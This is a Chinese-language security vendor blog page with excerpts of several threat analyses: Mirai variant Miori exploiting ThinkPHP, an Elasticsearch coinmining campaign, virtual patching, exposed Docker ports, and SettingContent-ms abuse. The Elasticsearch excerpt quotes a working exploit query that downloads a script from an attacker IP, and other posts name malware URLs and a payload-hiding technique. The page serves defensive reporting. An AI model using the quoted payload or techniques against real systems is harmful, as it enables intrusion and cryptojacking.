分類: 漏洞攻擊

Mirai 變種 Miori 再進化：IoT殭屍網路透過ThinkPHP遠端程式碼執行漏洞散播

趨勢科技 TrendMicro

對許多的物聯網（IoT ,Internet of Thing）使用者來說，針對智慧型設備的漏洞攻擊一直都是個問題。而最惡名昭彰的物聯網威脅或許是不斷變種的Mirai惡意軟體，一直被用在許多的攻擊活動中，會利用預設或弱帳密來入侵設備。自從它的原始碼在2016年流出之後，出現了各種不同的Mirai變種和衍生病毒。

我們分析了一個稱為「Miori」的Mirai變種，它會透過PHP框架（ThinkPHP）的遠端程式碼執行（RCE）漏洞散播。它所利用的漏洞比較新 – 相關的詳細資訊到12月11日才浮出水面。這隻IoT殭屍網路病毒會攻擊ThinkPHP 5.0.23及5.1.31之前版本的上述漏洞來進行散播。直得注意的是，我們的Smart Protection Network也顯示出ThinkPHP RCE相關資安事件在最近有所增加。我們認為駭客們會各自利用ThinkPHP漏洞來賺取好處。

除了Miori，有幾隻已知Mirai變種（如IZ1H9和APEP）也會利用相同的RCE漏洞進行散播。這些變種都會用預設帳密或暴力破解攻擊來透過Telnet入侵並散播到其他設備。一旦這些Mirai的變種感染了Linux機器，就會將其變成殭屍網路的一部分，用來進行分散式阻斷服務（DDoS）攻擊。

檢視Mirai變種 – Miori

Miori只是Mirai諸多分支的其中一個。Fortinet曾介紹過它跟另一個變種Shinoa有驚人的相似之處。我們自己的分析顯示使用Miori病毒的駭客利用Thinkpad RCE來讓有漏洞的機器從hxxp://144[.]202[.]49[.]126/php下載並執行惡意軟體：

Figure 1. RCE downloads and executes Miori malware

圖1.、RCE下載並執行Miori惡意軟體

繼續閱讀

虛擬貨幣病毒透過 Elasticsearch 舊漏洞散播

趨勢科技 TrendMicro

趨勢科技曾在蜜罐系統上發現了關於搜尋引擎 Elasticsearch （用Lucene程式庫開發的開放原始碼Java搜尋引擎）的惡意挖礦( coinmining )活動。這波攻擊利用了漏洞CVE-2015-1427（位在Groovy 腳本引擎，讓遠端攻擊者可以用特製腳本來執行任意 shell 命令）以及CVE-2014-320（Elasticsearch預設設定內的漏洞）。Elasticsearch已經不再支援有漏洞的版本。

我們在運行Elasticsearch的伺服器上發現帶有以下命令的查詢（ISC也在一篇文章中提到）：

“{“lupin”:{“script”: “java.lang.Math.class.forName(\”java.lang.Runtime\”).getRuntime().exec(\”wget hxxp://69[.]30[.]203[.]170/gLmwDU86r9pM3rXf/update.sh -P

/tmp/sssooo\”).getText()”}}}”

這命令是由同個系統/攻擊主機執行，後續病毒也是放在此主機上。在本文編寫時，使用此IP的是網域matrixhazel[.]com（無法連上）。此系統安裝的是CentOS 6，同時運行了網頁伺服器和SSH伺服器。

Figure 1. GreyNoise marked the host as a known scanner

圖1、GreyNotes將此這主機標記為已知掃描器

 

要注意的是，這種攻擊並不新鮮，只是最近又重新出現。趨勢科技的Smart Protection Network 11月在多個地區偵測到虛擬貨幣挖礦病毒，包括了台灣、中國和美國。

挖礦病毒散播bash腳本update.sh的方式是先調用shell來下載並輸出成檔案“/tmp/sssooo“（因為大多數系統對/tmp的限制較少）。

這種攻擊簡單卻會對受害者產生重大的影響。一旦攻擊者可以在系統上執行任意命令，就可以提升權限，甚至將目標轉向其他系統來進一步地入侵網路。

還應該注意的是，雖然大多數案例的攻擊手法相同，但所使用的惡意檔案可能不同。在我們所分析的案例中，使用的是update.sh。一但執行腳本update.sh就會下載檔案devtools和config.json。接著就會部署虛擬貨幣挖礦病毒（趨勢科技偵測為 Coinminer.Linux.MALXMR.UWEIS)。 繼續閱讀

虛擬修補：在漏洞遭受攻擊前加以修補

趨勢科技 TrendMicro
檢視資料圖表：了解資安漏洞：虛擬修補技術如何保護企業
檢視資料圖表：了解資安漏洞：虛擬修補技術如何保護企業

漏洞可能會對企業造成難以預料的影響。一但被攻擊也會危害到個人身份資料（PII）隱私，帶來嚴重的後果。它們不僅會損害公司信譽 – 還損害了儲存管理這些敏感資料基礎設施的完整性。

Equifax資料外洩事件就是個很好的例子。攻擊者藉由入侵其應用程式框架內的漏洞（CVE-2017-5638）來取得其網路和系統的控制能力。這次攻擊讓1.455億份美國公民及1520萬份英國客戶的PII被外洩，造成的財務損失估計達到4.39億美元。

是的，只需要一個有漏洞的端點、網路、伺服器或應用程式，就可能會造成百萬倍的影響。Shellshock、Heartbleed、Poodle和EternalBlue都是惡名昭彰的安全漏洞之一，為資料竊取病毒及其他攻擊打開大門。但還有其他更多更多 – 事實上，在2017年有1,522個被公開報告的漏洞。這些漏洞有929個透過趨勢科技的零時差計畫（ZDI）披露，嚴重程度被評為「嚴重」或「高」。

[年中資安綜合報告：2018年上半年所披露的202個資料採集與監控系統（SCADA）漏洞]

 

更新修補程式可以協助企業有效地降低這些威脅。但對許多組織來說，這仍然是個常見的問題。事實上，被訪談的組織平均需要197天來識別資料外洩。而監視物聯網（IoT）設備和工業物聯網（IIoT）系統的新增任務更加劇了防止資料外洩的難度。IT和安全團隊也可能會發現要在所有漏洞遭受攻擊前完成下載、測試和部署修補程式，同時還要保持系統、網路和伺服器正常運行幾乎是件不可能的任務。

零時差攻擊對企業造成的影響越來越大。但緊急/非常態更新以及虛擬化等緊急措施可能會造成運作停擺和額外的成本。此外還有法規遵循的問題，如歐盟一般資料保護法規（GDPR）所可能帶來的巨額罰款或支付卡產業（PCI）嚴格的修補要求。

繼續閱讀

設定不當的容器被用來散播挖礦病毒

趨勢科技 TrendMicro

趨勢科技最近發現有設定不當導致API端口暴露的Docker遭到惡意利用的案例。有惡意活動會掃描開放端口2375/TCP和2376/TCP，這些是Docker引擎服務（dockerd）所使用的端口。攻擊者接著將虛擬貨幣挖礦病毒（趨勢科技偵測為Coinminer.SH.MALXMR.ATNE）散布到這些設定不當的系統。

Docker會在作業系統層級實現虛擬化 – 也稱為容器化（containerization）。Docker API能夠讓遠端使用者像本地端用戶那樣地控制Docker映像。建議不要開放能夠讓外部存取的API端口，因為這會讓駭客有機會利用此不當設定進行惡意活動。

Docker引擎本身並沒有遭到攻擊，Docker企業版本也沒有受到影響。我們是在Docker社群版本看到這些少見的惡意行為。事實上，Docker技術提供讓使用者可以啟用及設定的安全功能來保護容器和工作負載。Docker也提供了防護Docker社群和企業版本的工具、文件和指南。當然，兩者的安全最佳實作都會要求不要開放這些端口。比方說建議運行商業應用程式的企業使用商業用的Docker企業版，能夠提供精確、基於角色的存取控制設定，必須經過身份認證才能使用API。

在我們的研究中，Docker API端口暴露是使用者設定不當的結果，因為我們發現這不當設定是在管理員層級手動設定的。實際上，因為設定不當而讓自身暴露於威脅中並非新鮮事，而這對企業來說也可能是得長期面對的挑戰。事實上，我們透過Shodan搜尋發現有許多人的Docker主機設定不當，特別是在中國。而同時還有美國、法國、德國、新加坡、荷蘭、英國、日本、印度和愛爾蘭也出現設定不當的Docker主機。大多數暴露的系統都是運行Linux作業系統。有意思的是Linux上的服務需要手動設定，而在Windows上直到17.0.5-win8都不是如此，出於安全理由而禁止服務暴露。雖然不當設定廣泛地在各版本都有發生，但根據Shodan的搜尋結果顯示超過一半有此問題的主機運行的是18.06.1-ce版本，這是相對較新的Docker版本。

 

圖1：在端口2375和2376觀察到的惡意活動或因不當設定遭濫用的時間軸（上）和國家/地區分佈（下）

圖2：攻擊不當設定Docker引擎的感染鏈

繼續閱讀

SettingContent-ms 可被用於執行複雜的 DeepLink 以及Icon-based 的惡意程式碼

趨勢科技 TrendMicro

微軟SettingContent-ms最近成為備受關注的話題。趨勢科技在七月看到一個垃圾郵件活動利用惡意的SettingContent-ms檔案嵌入PDF檔中，目的是為了執行遠端存取的木馬程式FlawedAmmyy, 這個遠端存取木馬(RAT) 也被使用在Necurs殭屍網路上. 而攻擊行動主要鎖定的目標是歐洲和亞洲的銀行。

SettingContent-ms最近才加入微軟軟體中，最早是在Windows 10中引入。以XML格式/語言寫入此類型檔案中，通常這類型檔案會包含Windows功能的設定內容，例如更新流程以及開啟某些特定類型檔案的應用程式等。這些檔案最常被用來當成開啟舊版Winodws控制台的捷徑。

Figure 1

圖1.SettingContent-ms的副檔名以及icon

 

Figure 2

圖2.Figure 2. 正常 SettingContent檔案中的 DeepLink tag

除了垃圾郵件活動之外，還有一些關於微軟SettingContent-ms的概念驗證(POC)研究，在七月份由Specter Ops所發佈。由此份研究報告以及實際出現的攻擊行動顯示出只要將DeepLink tag下的指令替換成惡意指令碼，便可利用SettingContent-ms執行惡意程式。一開始當微軟從研究人員聽到這個問題時，他們並不認為這是作業系統的弱點。但是在2018年8月，他們公布了修正程式以修補這個問題: CVE-2018-8414

Figure 3

圖 3.  DeepLink tag 下的惡意指令碼

如圖3所示，是一個SettingContent-ms被濫用的範例，在DeepLink tag下的惡意指令碼可以執行PowerShell script並從惡意網站下載並執行惡意程式。

在進一步研究這些方法時，我們開始看到該技術的局限性。 單獨使用DeepLink似乎有一些缺點：

優點 

  • 檔案size較小 – 乍看之下不容易看出可疑性 

缺點

  •  容易佈署 
  • 最多只接受517個字元 
  • 侷限在一些命令執行技術，例如: Command Prompt,PowerShell,MSHTA,Certutil,Bitsadmin, WMI 

藉由這些觀察，進一步的研究發現可以利用SettingContent-ms發展其他技術。稍早之前，研究人員已經研究如何利用Icon Tag應用在惡意的攻擊活動。為了驗證這個技術是否可行，我們建立了一個SettingContent PoC，這包含了DeepLink以及Icon tag，用來裝載惡意程式碼。

DeepLink + Icon-based的惡意程式碼—如何運作?

在這個情境中，DeepLink tag只能包含一個指令，並且可以呼叫寫在Icon tag下的惡意程式碼。在我們的PoC研究中，我們將Icon tag下的Script做了非常深度的程式碼混淆，如同圖4所示。

Figure 4

圖 4. DeepLink 呼叫了 Icon tag

Figure 5

圖 5. 寫在Icon tag下的惡意PowerShell script (移除程式碼混淆)

我們做了這個測試目的是為了確認Icon-based這類較長以及複雜的惡意程式碼是否會執行，結果這類惡意程式碼的確可以被執行。在這個Poc中寫入在Icon tag下的PowerShell script是來自於TROJ_PSINJECT.A，這個惡意程式會下載ANDROM/GAMARUE。

即便做了這樣的操作，無論在Icon tag下被寫入什麼，Icon顯示仍為空白(如圖 1所示)。

假設這樣的技術可能成為未來潛在的威脅，仍有其優缺點:

優點

  • 容易佈署
  • Icon tag可以寫入的字元數不受限制
  • 不限於簡單的命令執行；可以佈署各種個Script例如ReflectivePEInjection, backdoors，等等。

缺點

  • 檔案size較大- 容易被標註為可疑程式

 

解決方案以及緩解方式

這個技術顯示出網路犯罪可能擁有很多的工具，用來協助他們佈署複雜又有效的惡意程式碼。上述的情境，由一個SettingContent-ms中DeepLink tag下的惡意指令開始，進而我們發現了可以透過Icon tag佈署更複雜以及更長的惡意程式碼。

除了SettingContent-ms之外，可能還有其他更多的正常檔案被濫用。因此我們必須持續針對不同的應用程式進行研究，比惡意程式作者以及新的威脅更早一步發現可能的風險。

為了防護濫用SettingContent-ms的類似威脅，可以利用具備行為分析能力的解決方案，透過行為監控可以發掘並阻擋惡意的指令，以避免惡意程式在受害者的電腦上被執行。

趨勢科技趨勢科技OfficeScan  XGen™ 防護 端點防護使用高準度機器學習(Machine learning,ML)以及其他的偵測技術搭配全球威脅情資可以提供全面的安全防護，對抗進階的惡意程式。我們也持續監控SettingContent-ms類型檔案是否出現新的惡意指令。

◎原文來源: SettingContent-ms can be Abused to Drop Complex DeepLink and Icon-based Payload  作者:Michael Villanueva